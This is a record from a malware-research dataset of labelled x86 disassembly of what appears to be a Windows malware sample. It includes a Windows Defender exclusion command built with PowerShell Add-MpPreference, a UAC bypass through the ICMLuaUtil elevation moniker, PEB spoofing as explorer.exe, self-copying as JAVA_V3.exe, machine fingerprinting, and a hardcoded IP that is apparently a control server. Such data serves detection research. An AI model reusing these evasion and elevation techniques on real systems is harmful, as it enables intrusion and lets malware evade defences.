joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418120
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, edi
mov dword [ebp - 4], ecx
cmp dword [edi + 0x14], 0x10
mov ebx, dword [edi + 0x10]
jb 0x41813c
mov esi, dword [edi]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x418158
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x418147
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
mov ebx, dword [ebx + 4]
mov esi, dword [ecx + eax*8]
add eax, eax
mov edx, dword [ecx + eax*4]
inc eax
mov dword [ebp - 8], edx
lea eax, [ecx + eax*4]
mov dword [ebp - 0xc], eax
cmp edx, ebx
jne 0x418180
mov eax, ebx
jmp 0x418184
mov eax, dword [eax]
mov eax, dword [eax]
cmp esi, eax
je 0x4181f7
cmp dword [edi + 0x14], 0x10
mov edx, edi
jb 0x418192
mov edx, dword [edi]
mov edi, dword [esi + 0x1c]
lea ecx, [esi + 8]
mov dword [ebp - 0x10], edi
cmp edi, 0x10
mov edi, dword [ebp + 0xc]
jb 0x4181a6
mov ecx, dword [esi + 8]
push dword [edi + 0x10]
mov eax, dword [esi + 0x18]
push edx
mov edx, eax
mov dword [ebp - 0x14], eax
call fcn.00401ed0
add esp, 8
test al, al
jne 0x4181c8
mov esi, dword [esi]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
jmp 0x418178
cmp dword [ebp - 0x10], 0x10
lea eax, [esi + 8]
jb 0x4181d3
mov eax, dword [eax]
cmp dword [edi + 0x14], 0x10
mov ecx, edi
jb 0x4181dd
mov ecx, dword [edi]
push dword [ebp - 0x14]
mov edx, dword [edi + 0x10]
push eax
call fcn.00401ed0
add esp, 8
mov ecx, ebx
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x4181fb
mov ecx, ebx
mov eax, ebx
cmp eax, ebx
jne 0x418251
mov esi, dword [ebx]
lea eax, [ebp + 0xc]
push ecx
push eax
push ecx
mov dword [ebp + 0xc], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.0041e1b0
mov ebx, dword [ebp - 4]
mov edx, eax
mov ecx, 0x6666665
mov eax, dword [ebx + 8]
sub ecx, eax
cmp ecx, 1
jb 0x418263
inc eax
mov ecx, ebx
mov dword [ebx + 8], eax
mov dword [esi + 4], edx
mov esi, dword [ebp + 8]
mov dword [edi], edx
mov eax, dword [ebx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
push esi
call fcn.0041ab00
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [eax], ecx
mov byte [eax + 4], 0
mov esp, ebp
pop ebp
ret 8
push str.list_T__too_long
call fcn.00425966
int3
Function at 0x418270
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, edi
mov dword [ebp - 4], ecx
cmp dword [edi + 0x14], 0x10
mov ebx, dword [edi + 0x10]
jb 0x41828c
mov esi, dword [edi]
xor ecx, ecx
mov edx, 0x811c9dc5
test ebx, ebx
je 0x4182a8
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x418297
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
mov ebx, dword [ebx + 4]
mov esi, dword [ecx + eax*8]
add eax, eax
mov edx, dword [ecx + eax*4]
inc eax
mov dword [ebp - 8], edx
lea eax, [ecx + eax*4]
mov dword [ebp - 0xc], eax
cmp edx, ebx
jne 0x4182d0
mov eax, ebx
jmp 0x4182d4
mov eax, dword [eax]
mov eax, dword [eax]
cmp esi, eax
je 0x418347
cmp dword [edi + 0x14], 0x10
mov edx, edi
jb 0x4182e2
mov edx, dword [edi]
mov edi, dword [esi + 0x1c]
lea ecx, [esi + 8]
mov dword [ebp - 0x10], edi
cmp edi, 0x10
mov edi, dword [ebp + 0xc]
jb 0x4182f6
mov ecx, dword [esi + 8]
push dword [edi + 0x10]
mov eax, dword [esi + 0x18]
push edx
mov edx, eax
mov dword [ebp - 0x14], eax
call fcn.00401ed0
add esp, 8
test al, al
jne 0x418318
mov esi, dword [esi]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
jmp 0x4182c8
cmp dword [ebp - 0x10], 0x10
lea eax, [esi + 8]
jb 0x418323
mov eax, dword [eax]
cmp dword [edi + 0x14], 0x10
mov ecx, edi
jb 0x41832d
mov ecx, dword [edi]
push dword [ebp - 0x14]
mov edx, dword [edi + 0x10]
push eax
call fcn.00401ed0
add esp, 8
mov ecx, ebx
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x41834b
mov ecx, ebx
mov eax, ebx
cmp eax, ebx
jne 0x4183a1
mov esi, dword [ebx]
lea eax, [ebp + 0xc]
push ecx
push eax
push ecx
mov dword [ebp + 0xc], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.0041e210
mov ebx, dword [ebp - 4]
mov edx, eax
mov ecx, 0x6666665
mov eax, dword [ebx + 8]
sub ecx, eax
cmp ecx, 1
jb 0x4183b3
inc eax
mov ecx, ebx
mov dword [ebx + 8], eax
mov dword [esi + 4], edx
mov esi, dword [ebp + 8]
mov dword [edi], edx
mov eax, dword [ebx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
push esi
call fcn.0041ab00
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [eax], ecx
mov byte [eax + 4], 0
mov esp, ebp
pop ebp
ret 8
push str.list_T__too_long
call fcn.00425966
int3
Function at 0x419080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45e0a1
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x47b06c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x114], 0
mov dword [ebp - method.fmt::v8::basic_memory_buffer_char__250__class_std::allocator_char__.virtual_0], vtable.fmt::v8::basic_memory_buffer_char__250__class_std::allocator_char__.0
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x110], 0xfa
mov dword [ebp - 4], 0
lea esi, [ebp - 0x11c]
mov ecx, dword [edi + 8]
push esi
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [edi + 0x5c]
mov esi, dword [ebp - 0x114]
add ebx, esi
cmp ebx, dword [edi + 0x54]
jbe 0x41912f
lea ecx, [edi + 0x60]
call fcn.004091a0
lea ecx, [edi + 0x60]
call fcn.00409230
test eax, eax
je 0x419129
mov ecx, edi
call fcn.0041b150
mov esi, dword [ebp - 0x114]
mov ebx, esi
jmp 0x41912f
mov esi, dword [ebp - 0x114]
push dword [edi + 0x68]
push esi
push 1
push dword [ebp - 0x118]
call fcn.00445a37
add esp, 0x10
cmp eax, esi
jne 0x4191ac
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x10c]
mov dword [edi + 0x5c], ebx
mov dword [ebp - method.fmt::v8::basic_memory_buffer_char__250__class_std::allocator_char__.virtual_0], vtable.fmt::v8::basic_memory_buffer_char__250__class_std::allocator_char__.0
cmp ecx, eax
je 0x41918e
mov edx, dword [ebp - 0x110]
mov eax, ecx
cmp edx, 0x1000
jb 0x419184
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4191e6
push edx
push ecx
call fcn.0042736a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00427329
mov esp, ebp
pop ebp
ret 4
lea edx, [edi + 0x6c]
lea ecx, [ebp - 0x134]
call fcn.004054a0
push eax
mov edx, str.Failed_writing_to_file
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14c]
call fcn.00412370
add esp, 4
mov esi, eax
mov byte [ebp - 4], 2
call fcn.00445b15
mov ecx, esi
mov edx, dword [eax]
call fcn.00405210
call fcn.004421bc
int3
Function at 0x425390
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push edi
push eax
push 0
lea eax, [ebp - 8]
mov edi, ecx
push eax
push 0
push str.VERSION
push edi
call ebx
test eax, eax
jne 0x42542b
mov eax, dword [ebp - 8]
cmp eax, 1
je 0x4253cb
cmp eax, 2
je 0x4253cb
cmp eax, 7
jne 0x42542b
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.00427578
mov esi, eax
add esp, 4
test esi, esi
je 0x42542b
mov ecx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push str.VERSION
push edi
mov byte [ecx + esi], 0
call ebx
test eax, eax
sete bl
test eax, eax
jne 0x425419
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x425406
sub ecx, edx
push ecx
mov ecx, dword [ebp + 8]
push esi
call fcn.00401370
push esi
call fcn.00427378
add esp, 4
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x425440
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov eax, dword [ebp + 8]
mov esi, ecx
push 0
push 0
push 0
lea edi, [esi + 8]
mov dword [esi + 4], 0
push edi
lea ecx, [ebp + 8]
mov dword [edi], 0
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
mov dword [esi], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov ecx, dword [edi]
inc ecx
mov dword [edi], ecx
test eax, eax
je 0x4254a3
push dword [esi + 4]
mov dword [edi], 0
call fcn.00427378
add esp, 4
mov dword [esi + 4], 0
mov eax, esi
pop edi
pop esi
pop ebp
ret 4
push ecx
call fcn.00427578
add esp, 4
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
ret 4

Function at 0x42a0a7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x401000
Capabilities:
Get geographical location
Get hostname
Identify system language via api
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3a0
push 0x190
lea eax, [esp + 0xc]
push 0
push eax
call fcn.00404230
add esp, 0xc
lea eax, [esp + 0x198]
push 0x208
push 0
push eax
call fcn.00404230
add esp, 0xc
mov dword [esp + 4], 0x104
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x4204b8], eax
call fcn.004017d0
mov dword [0x4204bc], eax
call fcn.00401370
push 0x104
lea eax, [esp + 0x19c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x198]
call fcn.00401140
call fcn.00401b20
call fcn.00401cf0
call fcn.00402370
call fcn.00401e90
call fcn.00401d50
push 9
push 0x4204c0
push 0x59
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [esp + 4]
push eax
push 0x4204d8
push 1
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea eax, [esp + 4]
mov dword [esp + 4], 0x104
push eax
push 0x420740
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
call fcn.00401db0
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, str.64.94.85.117
call fcn.004027c0
int3
Function at 0x401140
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x778
push esi
push edi
push 0x208
lea eax, [ebp - 0x778]
mov edi, ecx
push 0
push eax
call fcn.00404230
push 0x208
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.00404230
push 0x30c
lea eax, [ebp - 0x570]
push 0
push eax
call fcn.00404230
xorps xmm0, xmm0
lea edx, [ebp - 0x260]
xor eax, eax
movlpd qword [ebp - 0x54], xmm0
add esp, 0x24
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
mov ecx, edi
movlpd qword [ebp - 0x3c], xmm0
sub edx, edi
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x26], xmm0
movlpd qword [ebp - 0x1e], xmm0
mov word [ebp - 0x16], ax
movups xmmword [ebp - 0x10], xmm0
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x4011c3
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea ecx, [ebp - 0x260]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4011f0
sub ecx, edx
lea eax, [ebp - 0x778]
push 0x104
sar ecx, 1
push eax
push str._WINDIR_System32WindowsPowerShell_v1.0powershell.exe
lea esi, [ebp + ecx*2 - 0x266]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, 0x41ca08
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40124a
test dx, dx
je 0x401246
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40124a
add eax, 4
add ecx, 4
test dx, dx
jne 0x401224
xor eax, eax
jmp 0x40124f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40125c
lea eax, [ebp - 0x260]
push eax
jmp 0x401297
mov ecx, 0x41cae0
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401289
test dx, dx
je 0x401285
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401289
add eax, 4
add ecx, 4
test dx, dx
jne 0x401263
xor eax, eax
jmp 0x40128e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4012ae
push str.rundll32.exe
push edi
lea eax, [ebp - 0x570]
push str.powershell.exe__Add_MpPreference__ExclusionPath___ws___Add_MpPreference__ExclusionProcess___ws___exit_
push eax
call fcn.00401110
add esp, 0x10
jmp 0x40130d
mov eax, 0x41cb04
mov cx, word [esi]
cmp cx, word [eax]
jne 0x4012d9
test cx, cx
je 0x4012d5
mov cx, word [esi + 2]
cmp cx, word [eax + 2]
jne 0x4012d9
add esi, 4
add eax, 4
test cx, cx
jne 0x4012b3
xor eax, eax
jmp 0x4012de
sbb eax, eax
or eax, 1
test eax, eax
lea eax, [ebp - 0x570]
jne 0x4012fe
push str.cmd.exe
push edi
push str.powershell.exe__Add_MpPreference__ExclusionPath___ws___Add_MpPreference__ExclusionProcess___ws___exit_
push eax
call fcn.00401110
add esp, 0x10
jmp 0x40130d
push edi
push str.powershell.exe__Add_MpPreference__ExclusionPath___ws___exit_
push eax
call fcn.00401110
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x58], 0x44
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x2c], 1
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x570]
push eax
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401370
Capabilities:
Bypass uac via icmluautil
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push str.feogvduvixnsjoxskocxa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4014cb
cmp dword [0x4204bc], eax
jne 0x4014cb
push ebx
push 0x104
lea eax, [ebp - 0x43c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.004014e0
push 2
push 0
mov ebx, 0xc0000022
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0x208
mov dword [ebp - 8], eax
lea eax, [ebp - 0x234]
push 0
push eax
mov dword [ebp - 4], 0
call fcn.00404230
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
add esp, 0xc
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
xor ecx, ecx
movlpd qword [ebp - 0x14], xmm0
mov dword [ebp - 0x2c], 0x24
mov dword [ebp - 0x18], 4
movzx eax, word [ecx + str.Elevation:Administrator_new:]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x236], ax
test ax, ax
jne 0x401414
push esi
push edi
lea edi, [ebp - 0x234]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401436
mov ecx, 0x13
lea eax, [ebp - 4]
mov esi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
rep movsd dword es:[edi], dword [esi]
push eax
push 0x41ccb4
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x234]
movsw word es:[edi], word [esi]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [ebp - 4]
test eax, eax
jne 0x401499
test esi, esi
je 0x4014a5
mov eax, dword [esi]
lea ecx, [ebp - 0x43c]
push 5
push 0
push 0
mov eax, dword [eax + 0x24]
push 0
push ecx
push esi
call eax
mov ebx, eax
sar ebx, 0x1f
and ebx, 0xc0000022
jmp 0x40149d
test esi, esi
je 0x4014a5
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
cmp dword [ebp - 8], 0
pop edi
pop esi
jne 0x4014b3
call dword [sym.imp.ole32.dll_CoUninitialize]
test ebx, ebx
pop ebx
jne 0x4014cb
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4014e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
mov edi, dword fs:[0x30]
push 0x208
push 0
mov dword [ebp - 4], edi
mov eax, dword [edi + 0xc]
mov ebx, dword [eax + 0xc]
lea eax, [ebp - 0x20c]
push eax
mov esi, ebx
call fcn.00404230
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00404230
add esp, 0x18
lea eax, [ebp - 0x414]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [edi + 0x10]
push 0x30
push 8
mov dword [edi + 0x38], 0x30002e
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [edi + 0x3c], eax
mov edx, str.C:Windowsexplorer.exe
movzx ecx, word [edx]
lea edx, [edx + 2]
mov word [eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x401567
mov edi, dword [ebp - 4]
push 0x30
push 8
mov edi, dword [edi + 0x10]
mov dword [edi + 0x40], 0x30002e
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [edi + 0x44], eax
mov edx, str.C:Windowsexplorer.exe
nop
movzx ecx, word [edx]
lea edx, [edx + 2]
mov word [eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x4015a0
movzx eax, word [esi + 0x26]
push eax
push dword [esi + 0x28]
lea eax, [ebp - 0x20c]
push eax
call fcn.00405b20
add esp, 0xc
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x414]
call fcn.00401680
test eax, eax
je 0x4015e5
mov esi, dword [esi]
cmp esi, ebx
jne 0x4015b1
jmp 0x401651
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x30
push 8
mov dword [esi + 0x24], 0x30002e
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov dword [esi + 0x28], eax
mov edx, str.C:Windowsexplorer.exe
nop dword [eax]
movzx ecx, word [edx]
lea edx, [edx + 2]
mov word [eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x401610
push 0x30
push 8
mov dword [esi + 0x2c], 0x30002e
call ebx
push eax
call edi
mov dword [esi + 0x30], eax
mov edx, str.C:Windowsexplorer.exe
nop dword [eax]
movzx ecx, word [edx]
lea edx, [edx + 2]
mov word [eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x401640
mov eax, dword [ebp - 4]
push dword [eax + 0x1c]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea edx, [ebp - 0x20c]
mov ecx, str.C:Windowsexplorer.exe
call fcn.00401680
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b20
Capabilities:
Copy file
Create directory
Create process on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push esi
push edi
push 0x208
lea eax, [ebp - 0x468]
push 0
push eax
call fcn.00404230
push 0x208
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.00404230
add esp, 0x18
mov dword [ebp - 0x48], 0x44
xorps xmm0, xmm0
lea eax, [ebp - 0x468]
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
push 0x104
push eax
push 0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x58], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea eax, [ebp - 0x260]
push eax
push str._LOCALAPPDATA_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x260]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401bc0
sub ecx, edx
lea edx, [ebp - 0x468]
sar ecx, 1
lea esi, [ecx + ecx]
lea ecx, [ebp - 0x260]
sub esi, 4
jb 0x401bf4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x401bfd
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401be3
cmp esi, 0xfffffffc
je 0x401cd8
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x401c3a
cmp esi, 0xfffffffd
je 0x401cd8
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x401c3a
cmp esi, 0xfffffffe
je 0x401cd8
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x401c3a
cmp esi, 0xffffffff
je 0x401cd8
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x401cd8
lea edi, [ebp - 0x260]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401c43
push 0
lea eax, [ebp - 0x260]
mov ecx, 8
mov esi, str._sdkwifhsyaunfs
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebp - 0x260]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401c73
mov ecx, 6
lea eax, [ebp - 0x260]
mov esi, str.JAVA_V3.exe
rep movsd dword es:[edi], dword [esi]
push 0
push eax
lea eax, [ebp - 0x468]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401cad
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401cf0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push esi
push str.e32i8f9wj2dsu8dhjfsi
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401d47
cmp dword [0x4204bc], eax
jne 0x401d43
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.diohfe92fh8sja9fwjs
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401d47
mov eax, esi
pop esi
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x401d50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
mov dword [ebp - 8], pe_nt_image_headers32
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftCryptography
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 8]
push eax
push 0x420438
push 0
push 2
push str.MachineGuid
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401db0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x60
push eax
push 0x20019
push 0
push str.SoftwareSoftina
xorps xmm0, xmm0
mov dword [ebp - 4], 0
push SysReAllocString
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401e14
lea eax, [ebp - 8]
push eax
push 0x4206e0
push 0
push 2
push str.Softina
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
xor eax, eax
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareSoftina
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x16]
push eax
push str._02d._02d._02d
push 0x4206e0
call fcn.00401110
add esp, 0x14
push dword [ebp - 8]
push 0x4206e0
push 1
push 0
push str.Softina
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov esp, ebp
pop ebp
ret